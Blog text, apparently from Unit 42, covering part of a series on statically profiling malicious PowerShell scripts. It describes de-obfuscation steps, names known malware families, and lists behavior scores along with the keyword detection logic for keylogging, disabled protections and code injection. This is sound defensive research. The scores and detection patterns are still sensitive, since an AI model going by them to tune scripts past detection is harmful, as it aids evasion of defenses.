Of course, it’s not without its caveats and the one that comes to the forefront is that you do not necessarily have the full script for profiling. Additionally, one advantage static analysis has over dynamic is that it’s not constrained to the execution path that a PowerShell script takes and so you have more potential coverage, whereas ScriptBlock events will only contain the code PowerShell ran. The second problem is that you really want the full set of code blocks that PowerShell logged to properly identify all of the behaviors presented for a particular case. The ScriptBlock events can be tied together by using various other meta-data contained within the events but it makes it slightly trickier to cobble together for profiling.

That being said, the screenshot below is from a ScriptBlock event for the same sample I showed in Figure 8 and it reveals the profiling script got pretty close to what PowerShell executed after all of the decompression, format operator replacement, and string replacements took place.

Figure 12. ScriptBlock event with obfuscation removed

But it has the added benefit of showing the next block of code is executed, which the profiling script does not see, thus providing the potential for further profiling, such as possibly using a REGEX pattern to match on the URL structure and identify the malware family.

Figure 13. Additional data revealed by ScriptBlock event

Conclusion

Static analysis isn’t without its flaws but knowing what it’s advantages are, we can utilize them to improve our ability to detect malicious PowerShell scripts. Hopefully, this series of blogs and tools offered can provide some ideas and methods to do just that.

At the end of the day, every tool that helps augment your defenses and allows you to focus your investigative efforts into more specific areas is a win in my book.

The PowerShellProfiler.py script can be downloaded from the Unit 42 GitHub page.

 

Practical Behavioral Profiling of PowerShell Scripts through Static Analysis (Part 2)

Posted on by Jeff White

Executive Summary

This 3-part blog series focuses on a practical approach to static analysis of PowerShell scripts and developing a platform-independent Python script to carry out this task. This is Part 2 of a 3-part blog series and you can read Part 1 here to get caught up.

Over the course of the series, I will talk about the ins and outs of behavioral profiling, cover common obfuscation and methods of hiding data within PowerShell scripts, and how we can go about building a scoring system to assess the risks of scripts. In general, I aim to aide other analysts and defenders in this endeavor with ideas and a functional foundation script to hit the ground running.

Introduction

In the first part of this blog, I touched on some general concepts around static analysis, behaviors in PowerShell, and things I needed to consider as I moved into the design phase, which will be the focus of this second blog.

My overarching goal is to profile behaviors and infer their intent in PowerShell scripts so I’ll begin by looking at the script input first. Next, I’ll cover the general process of normalizing and de-obfuscating common PowerShell obfuscation and code hiding techniques that you’ll see in-the-wild (ITW) and provide examples of how script content is modified during processing to reveal more data. Finally, we’ll take a look at the behaviors I’ve identified as important for scoring and how they play into the overall assessment of risk in scoring.

PowerShell Script Input

Input can come in many flavors but for the sake of simplicity, I’ll limit this discussion to PowerShell scripts and not other files which may contain PowerShell commands or embedded scripts, such as ScriptBlock Logs, VBScript, and JavaScript. Regardless of the type, it all begins the same way with preparing the data for processing throughout the rest of the script.

In this case, it’s fairly straightforward to start. As I’ll be dealing heavily with REGEX and string matching on ASCII based character sets used to define function names and other keywords in PowerShell, I need to remove the NULL bytes from the input data so that character encoding is less of a problem down the line. If you’re not familiar with the default Windows code pages or Unicode, just know that they utilize two bytes to represent a character but, for our use-case, we are only interested in the characters which fall in the ASCII range. In a two-byte code page, which deals with the character encoding, the first byte will be NULL. For example, if we wanted to search for an exact match of the word “HELLO” but there are NULL bytes pre-pending each byte representing a character in the ASCII range, then this can lead to matching issues so we’ll strip them out.

The string “\x00H\x00E\x00L\x00L\x00O” becomes simply “HELLO”. This establishes a uniformity in characters to match against before I move the data further downstream for processing.

Preparing Content for Profiling

To accurately profile the PowerShell behaviors, I need to normalize and de-obfuscate as much of the content as possible so that I have the highest opportunity of identifying behaviors in the content; whether they are in plain sight, hidden under multiple layers of obfuscation, or buried within various encoding algorithms.

To do this, the script creates two sets of data from the original content that will be scanned over continuously; one which contains the original content, sans the NULL bytes described earlier, and an alternate one wherein the script builds up new content that it discovers during processing. Sometimes there is little deviation from the original content and it’s entirely driven based on identifying the obfuscation and content hiding methods that may have been employed.

There are two distinct phases here for preparing the content for profiling. One is for cleaning up the content and removing various types of obfuscation and one is for trying to unravel the various ways of burying data within the code that PowerShell supports, such as encryption, compression, and encoding. I’ll step through each of these phases and go over the existing functions that I’ve built into the script to achieve these goals but, before I move on, I need to talk about general obfuscation and how I approached processing.

When you analyze malicious scripts, you’ll frequently find multiple layers and types of obfuscation all contained within a script. What this means is that when the script removes obfuscation from code, it potentially reveals a new code that also needs to be analyzed again to see if it contains more obfuscation or requires more normalization and the process repeats itself. Given this, there needs to be a way to track the state of code and it’s subsequent alteration so that the script can continue processing it until the state fails to change, this workflow is shown in the figure below.

Figure 7. High-level Processing Flow

At a high level, this is relatively straight forward but in practice, there are more practical issues you may run into, such as the order in which the script process different types of obfuscation. These considerations and the order of de-obfuscation or normalization I use in the script were derived over the course of testing and iteration.

As the profiling script is not executing the code, I’m less concerned with unraveling a functional script and more interested in unraveling the raw content; however, when the profiling script does attempt to reverse obfuscation than I try to maintain the integrity of the underlying code where possible. Once the state finally stops changing, the profiling script can move into the behavioral profiling process.

In the current iteration, there are numerous functions for normalizing and unraveling content so I’ll dive into each of them, what their intent is, and discuss how they affect the code.

Normalization / Obfuscation Removal

The identification of obfuscation is typically handled with simple searches or REGEX matches when dealing with non-single character obfuscation. Given the flexibility of PowerShell, you’ll run across dozens of variations for the same commands that can be used so the REGEX patterns I’ve created are designed to capture as many variants as possible, but there is always room for improvement and those included in the script just capture the variants found in my sample set.

To illustrate this idea, consider the following REGEX pattern for capturing variants of the Format String Operator Replacement technique.

Which can match on things like the following:

Basic single-character obfuscation will be removed from the content during processing while the more complex ones will replace the content blocks inline. For each type of obfuscation dealt with, I’ll provide a brief description and a real world example of it in action and what it should transform into.

1. Backticks (`) are used for escaping characters in PowerShell and wrapping lines of code. It’s commonly used in
obfuscation to escape non-special characters and break-up words to prevent matching.

2. Carets (^) are escape characters for Windows command line and when you find mixed scripting languages you’ll
frequently see this.

3. Escaped Quotes (\”) are most commonly seen for substrings that need to be escaped and we’ll want to remove the
escaping so we can accurately profile across that boundary, where a backslash may interfere with pattern matching. In
malicious scripts, these substrings are frequently commands which will be unraveled or passed to new instances of
PowerShell that can be profiled further. Additionally, it can be used to insert empty quotes for additional obfuscation
like below.

4. Empty Quotes (“”) are another trick that can be used to break up variables in PowerShell and otherwise break string
matching, so I remove those when necessary.

5. Spaces ( ) can be used to obfuscate in a way that is similar to CaMeL CaSe capitalization; it’s used to confuse the reader
without causing issues with how PowerShell interprets the code.

6. Concatenation (+) of strings is another common technique for breaking up strings so the profiling script attempts to
rebuild them. There are many ways of doing concatenation but this one focuses on the use of the addition symbol.

  • Type Conversion is another technique it looks for as the technique is commonly used for string obfuscation. This is the first of the “brute force” functions in which the profiling script iterate over multiple base values (base8, base16, and base32) to build possible strings, along with trying to identify integers and hexadecimal values stored in lists that can be converted to ASCII.

  • Splitting, as seen above, goes hand in hand with conversion and you’ll frequently see in malicious scripts this obfuscation using a range of characters to split integers or hexadecimal values. In these cases, the script again takes a shotgun approach to strip out contiguous sets of values and try to decipher as much plain text as possible.

Last, there are two more obfuscation types the profiling script tackles that are a bit more complicated in terms of identification and parsing due to PowerShells flexibility in how things can be called.

7. Format String Operator Replacement has seen a sharp rise of adoption rates in
malicious scripts ever since Daniel Bohannon released Invoke-Obfuscation that uses
this token-style replacement heavily. The functions for statically parsing these with
REGEX require that it considers nested layers of operator replacement, so it targets
smaller inner-versions first and slowly unravels it from the inside-out. It’ll substitute
the parsed string with the replacement command until it’s unable to identify anymore
variants in the content.

8. For PowerShell’s built-in string replacement function, the script again uses a REGEX
pattern to identify the many variations possible for this command and attempts to
replace strings across the content.

These sets of de-obfuscation and normalization functions will be run and re-run again as new content is discovered or the state of the existing data changes.

Unraveling Content

Similar to the above functions for de-obfuscation and normalization of content for profiling, the script also scans the content for certain artifacts to determine if there is additional content that may unraveled. In this next section, I’ll step through the various methods it uses to identify and reveal the content statically.

  • Reversed content is one of the simpler types it’ll deal with and, in my experience, isn’t actually that common. In this case, it simply looks for reversed strings of common PowerShell methods and then take the entire content, reverses it, and appends it to the end of the alternate content stream.

  • Another common method of hiding content from view is to utilize the Windows Stream objects which are effectively a class used to encode content. In this case, the profiling script identifies if the calls exist within the visible content and then attempts to deflate the stream. By default, Microsoft uses the same compression algorithm as gzip but the script will attempt to brute force it with a couple of different compression settings to expand coverage.

  • Next is Base64, which is probably the most basic and universal encoding scheme around. Nothing fancy here but so it just takes every piece of content which matches a REGEX pattern for Base64 over a certain size (currently 30 bytes), decodes it, and append it to the alternate data stream for profiling.

  • Finally, there is some basic decryption of Microsoft SecureStrings which use the default AES in CBC mode when the SecureString is created with a key. The script looks for the calls to decrypt these SecureStrings and then tries to identify the symmetric encryption key, all of the Base64 content, and the required IV to decrypt the content. I’ve yet to see this technique used in-the-wild (ITW) for a small amount of data that I could use for illustrative purposes so I’ve cobbled together a quick example instead.

The string “EXAMPLE” is encrypted by the 24 bytes and a Base64 value is returned. The inner contents of this Base64 blob, which appear to be a non-publicly documented structure, contain the encrypted string and a Base64 encoded IV. The values are pipe (“|”) delimited so I’ve highlighted the IV in RED and the encrypted data in BLUE. These are what the function will target for decryption.

This overview covers all of the techniques I’ve found to be commonly used throughout malicious scripts, along with various types of de-obfuscation or normalization needed to reveal further content. While this by no means is intended to coverage of everything, it’s a good base to start from.

Profiling Known Malware Families

Once the profiling script has as much of the content revealed as possible, it then begins the identification phase. The script starts with first trying to look for known malware families and variants of them as this provides a quick way to score files based off of known indicators and establish intent very quickly. These are primarily REGEX patterns or collections of keywords that uniquely identify malicious scripts such as Magic Unicorn, Social Engineer Toolkit (SET), and Veil. The full list of the currently checked families are below and this section can be added to when new popular formats start appearing ITW.

  • Magic Unicorn
  • ShellCode Injector
  • ICMP Shell
  • SET
  • PowerDump
  • BashBunny
  • Veil
  • PowerWorm
  • PowerShell Empire
  • Powerfun
  • Mimikatz
  • Mimikittenz
  • PowerSploit
  • DynAmite
  • Invoke-Obfuscation
  • TXT C2
  • Remote DLL
  • Cobalt Strike
  • Vdw0rm
  • Emotet
  • mateMiner
  • DownAndExec
  • Buckeye
  • APT34
  • MuddyWater
  • Tennc Webshell
  • PoshC2
  • Posh-SecMod
  • Invoke-TheHash
  • Nishang
  • Invoke-CradleCrafter

These were all derived through the aforementioned manual analysis or from previous research. Whenever I found that I was seeing repeating scripts, or structures of scripts, it was a good indicator that it was generated from a framework or script and those usually lend themselves to profiling quite well. Again, it’s not full coverage for any of the above but as you identify new variants or new families, you can add them as a way to expand your coverage.

Profiling PowerShell Behaviors

Next we move to the actual profiling of PowerShell behaviors. These are broken into three distinct contextual categories - behaviors generally only seen in malicious scripts, behaviors generally seen in both good and bad scripts (neutral), and finally behaviors generally only seen in benign scripts.

Figure 8. Venn Diagram of behavioral overlap

I’ll list all of them below and their corresponding scores (taken directly from the script) while covering some basics of how they work.

Negative Behaviors

  • 'Code Injection': 10.0
  • 'Key Logging': 3.0
  • 'Screen Scraping': 2.0
  • 'AppLocker Bypass': 2.0
  • 'AMSI Bypass': 2.0
  • 'Clear Logs': 2.0
  • 'Coin Miner': 6.0
  • 'Embedded File': 4.0
  • 'Abnormal Size': 2.0
  • 'Ransomware': 10.0
  • 'DNS C2': 2.0
  • 'Disabled Protections': 4.0
  • 'Negative Context': 10.0
  • 'Malicious Behavior Combo': 6.0
  • 'Known Malware': 10.0

Keep in mind that we’re trying to place a malicious script in the score range of 6+, with the higher the score the more confident we are in the verdict.

For the majority of these, profiling is carried out with simple keyword scanning or combinations of keywords. Let’s take a look at a simple one and how the behavior is defined in the Python code.

For a script to be flagged as having the “Disabled Protections” behavior then, the content must contain one of four variations of “REG_DWORD” and a registry key that I’ve observed in malicious scripts to disable common Windows protection mechanisms such as AntiSpyware and AntiVirus.

Taking a look at another basic example for “Key Logging” shows various combinations of keywords that, when found together, are typically indicative of key logging activity.

Now, for both “Disabled Protections” and “Key Logging”, the scores are “4.0” and “3.0” respectively, well below the “6.0” threshold for malicious activity. The reason behind this is that sometimes, even though behaviors are predominantly only seen in malicious scripts, they are also used in benign scripts and so I want additional behaviors to add context and push the score beyond the threshold, as opposed to something like “Ransomware” or “Known Malware” where the profiling script immediately sets it above the “6.0” threshold.

A more complex behavior we can look at is “Code Injection”. This is a technique that follows a specific pattern of calls designed to carve out a segment of memory, move shellcode into the memory segment, and then finally transfer execution to the shellcode in memory. The problem is that at each phase of this, there are numerous methods which facilitate the respective functionality; the profiling script accounts for over 1300 variations alone. Thus, we’ll check each individual keyword at each step and only proceed to the next set of keywords if we find one in the previous set. This allows us to keep analysis time low even though the number of variations significantly rises with each addition. Speed is equally important when profiling these at scale and a lot of the profiling script is designed in ways to decrease run time where possible.

When you look at the above behaviors, you’ll also note one called “Malicious Behavior Combo” towards the end. This one is intended to bump malicious scripts that do not exhibit enough behavioral information to generate a score above the target threshold an extra boost as a contextual modifier. The profiling script will look at all of the behaviors for the PowerShell script as a whole and then use it as its own behavior.

The combinations are checked against the aforementioned ground truth of the scripts being used for a baseline to validate the combination of behaviors do not negatively impact benign scripts. It’s important to carefully monitor these as more data can reveal benign scripts which may match; however, this is a good example of using meta-data to influence scoring.

Neutral Behaviors

  • 'Downloader': 1.5
  • 'Starts Process': 1.5
  • 'Script Execution': 1.5
  • 'Compression': 1.5
  • 'Hidden Window': 0.5
  • 'Custom Web Fields': 1.0
  • 'Persistence': 1.0
  • 'Sleeps': 0.5
  • 'Uninstalls Apps': 0.5
  • 'Obfuscation': 1.0
  • 'Crypto': 2.0
  • 'Enumeration': 0.5
  • 'Registry': 0.5
  • 'Sends Data': 1.0
  • 'Byte Usage': 1.0
  • 'SysInternals': 1.5
  • 'One Liner': 2.0
  • 'Variable Extension': 2.0

The neutral behaviors are, as the name suggests, neither good nor bad and follow a similar approach to the ones previously discussed. There are a couple of additional meta-behaviors that I want to highlight which are “Obfuscation”, “One Liner”, and “Variable Extension” as they illustrate more diversion from the keyword approach. Just to recap then, meta-behaviors are observed characteristics that are not a specific functionality or capability, but something that describes a characteristic of the PowerShell script.

  1. One Liner - This one is self explanatory, a script that solely exists on one line. It’s extremely common for malicious scripts or very simple PowerShell download cradles to be constrained on a singular line, whereas benign scripts typically have more structure and include multiple new-lines.
  2. Obfuscation - This is a case where the script profiles the content for various attributes like character frequency, volume of symbol usage, and volume of variable declarations. These attributes are counted in various ways and highlight observed characteristics of malicious scripts.
    • Character frequency analysis reflects standard deviations of character usage that were observed across malicious and benign script sample sets and, for example, will try to identify if “w” is used more than 500 times in the script, or a colon “:” used more than 100 times. There are 13 individual characters that fall into this category and 3 sets of dual characters (“[“ and “]”) which come into play if the script has less than 50 lines; this is usually indicative of a dense clustering of the characters.
    • Symbol usage is a specific type of obfuscation that I kept observed being used for variable declarations, such as below.

    • Raw volume of PowerShell and JavaScript unique variable declarations over 40.

3. Variable Extension - Another common obfuscation is taking advantage of
PowerShell’s ability to use wildcards (“*”) in variables. The profiling script will
count various commands for retrieving or setting variables and then count
wildcards surrounded by ASCII characters. If those counts are over a certain
amount than it’ll label the obfuscation type as variable extension. To show how it
works, the following code can be used to retrieve “ExecutionContext” and are
often seen chained together to build out other commands.

In general, the neutral behaviors are scored much lower so that multiple behaviors being flagged won’t generally be enough on their own to cross the established malicious threshold.

Benign Behaviors

  • 'Script Logging': -1.0
  • 'License': -2.0
  • 'Function Body': -2.0
  • 'Positive Context': -3.0

The benign behaviors rarely show up in malicious scripts and subtract from the overall score to help influence the context, subtracting from the totals to improve accuracy. For example, malicious scripts typically do not employ logging, licenses, or function preambles. The keyword here being “typically” as sometimes you will find cases where the attacker downloads a script from a PowerShell offensive framework via Github and don’t bother to clean it up. In these cases, there is almost always significant amounts of non-obfuscated behaviors to make up for any drops in score.

Finally, “Positive Context” are specifically used when benign scripts exhibit so many behaviors it crosses the malicious threshold and I want to try and artificially lower their scores. This is more common when dealing with administrative type scripts found in enterprises that perform a wide sweeping range of administrative functions on an endpoint or bootstrap systems.

Conclusion

In this blog I covered common PowerShell techniques for hiding data that I have observed and shown how these can be cleaned up with normalization and by reversing various types of obfuscation. This is a critical step before furtherer unraveling content that will be used as the base for behavioral profiling.

For the next blog in this series, I’ll take more of an in-depth look at how all of these things work together to profile scripts and talk about some observations I’ve made when it comes to statically analyzing PowerShell scripts.

 

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow